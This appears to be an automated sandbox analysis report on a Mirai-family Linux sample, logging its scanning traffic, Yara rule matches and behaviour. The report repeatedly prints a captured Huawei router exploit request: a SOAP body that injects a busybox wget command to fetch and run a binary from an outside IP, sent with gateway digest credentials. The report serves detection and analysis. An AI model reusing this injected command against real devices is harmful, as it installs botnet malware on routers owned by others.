Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: /tmp/skid.x86 (PID: 4687)

Socket: 127.0.0.1::1172

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 186.109.143.59
Source: unknown	TCP traffic detected without corresponding DNS query: 94.34.38.179
Source: unknown	TCP traffic detected without corresponding DNS query: 41.79.180.180
Source: unknown	TCP traffic detected without corresponding DNS query: 41.181.121.88
Source: unknown	TCP traffic detected without corresponding DNS query: 121.96.196.63
Source: unknown	TCP traffic detected without corresponding DNS query: 222.130.137.198
Source: unknown	TCP traffic detected without corresponding DNS query: 197.65.152.81
Source: unknown	TCP traffic detected without corresponding DNS query: 94.107.109.233
Source: unknown	TCP traffic detected without corresponding DNS query: 156.0.253.89
Source: unknown	TCP traffic detected without corresponding DNS query: 92.65.3.156
Source: unknown	TCP traffic detected without corresponding DNS query: 41.124.138.157
Source: unknown	TCP traffic detected without corresponding DNS query: 41.32.111.211
Source: unknown	TCP traffic detected without corresponding DNS query: 41.79.4.171
Source: unknown	TCP traffic detected without corresponding DNS query: 156.111.83.23
Source: unknown	TCP traffic detected without corresponding DNS query: 156.26.65.149
Source: unknown	TCP traffic detected without corresponding DNS query: 156.192.133.17
Source: unknown	TCP traffic detected without corresponding DNS query: 41.35.222.14
Source: unknown	TCP traffic detected without corresponding DNS query: 41.140.174.96
Source: unknown	TCP traffic detected without corresponding DNS query: 41.55.171.158
Source: unknown	TCP traffic detected without corresponding DNS query: 102.98.126.214
Source: unknown	TCP traffic detected without corresponding DNS query: 160.14.79.123
Source: unknown	TCP traffic detected without corresponding DNS query: 197.38.94.147
Source: unknown	TCP traffic detected without corresponding DNS query: 156.161.160.207
Source: unknown	TCP traffic detected without corresponding DNS query: 197.21.102.112
Source: unknown	TCP traffic detected without corresponding DNS query: 92.126.106.215
Source: unknown	TCP traffic detected without corresponding DNS query: 156.84.225.52
Source: unknown	TCP traffic detected without corresponding DNS query: 160.189.167.180
Source: unknown	TCP traffic detected without corresponding DNS query: 156.190.233.219
Source: unknown	TCP traffic detected without corresponding DNS query: 41.130.141.155
Source: unknown	TCP traffic detected without corresponding DNS query: 41.175.190.75
Source: unknown	TCP traffic detected without corresponding DNS query: 197.213.149.200
Source: unknown	TCP traffic detected without corresponding DNS query: 156.186.211.200
Source: unknown	TCP traffic detected without corresponding DNS query: 156.21.69.0
Source: unknown	TCP traffic detected without corresponding DNS query: 121.96.120.146
Source: unknown	TCP traffic detected without corresponding DNS query: 196.194.129.84
Source: unknown	TCP traffic detected without corresponding DNS query: 41.16.236.98
Source: unknown	TCP traffic detected without corresponding DNS query: 197.171.108.99
Source: unknown	TCP traffic detected without corresponding DNS query: 156.59.40.35
Source: unknown	TCP traffic detected without corresponding DNS query: 197.152.145.237
Source: unknown	TCP traffic detected without corresponding DNS query: 41.26.185.211
Source: unknown	TCP traffic detected without corresponding DNS query: 197.180.246.92
Source: unknown	TCP traffic detected without corresponding DNS query: 41.42.89.197
Source: unknown	TCP traffic detected without corresponding DNS query: 197.132.144.88
Source: unknown	TCP traffic detected without corresponding DNS query: 197.173.192.88
Source: unknown	TCP traffic detected without corresponding DNS query: 197.230.195.83
Source: unknown	TCP traffic detected without corresponding DNS query: 120.7.68.221
Source: unknown	TCP traffic detected without corresponding DNS query: 45.170.255.123
Source: unknown	TCP traffic detected without corresponding DNS query: 156.79.165.17
Source: unknown	TCP traffic detected without corresponding DNS query: 156.75.242.82
Source: unknown	TCP traffic detected without corresponding DNS query: 156.33.183.82

Source: unknown

DNS traffic detected: queries for: cynthiaoperez.geek

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: skid.x86	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: skid.x86	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: skid.x86, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: skid.x86, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: skid.x86, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: skid.x86, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: skid.x86, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 4687.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 4687.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 4687.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 4687.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 4687.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g
Source: Initial sample	String containing 'busybox' found: -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: ELF static info symbol of initial sample

.symtab present: no

Source: skid.x86, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: skid.x86, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: skid.x86, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: skid.x86, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: skid.x86, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 4687.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 4687.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 4687.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 4687.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 4687.1.0000000008048000.0000000008059000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26

Source: classification engine

Classification label: mal88.troj.linX86@0/0@1/0

Persistence and Installation Behavior

Sample reads /proc/mounts (often used for finding a writable filesystem)

Source: /tmp/skid.x86 (PID: 4690)

File: /proc/4690/mounts

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 37948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49266 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 49266
Source: unknown	Network traffic detected: HTTP traffic on port 34828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 42072
Source: unknown	Network traffic detected: HTTP traffic on port 45318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 58538
Source: unknown	Network traffic detected: HTTP traffic on port 33968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 60096
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41376 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51026 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56574 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43878 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34828 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47074 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45096 -> 37215
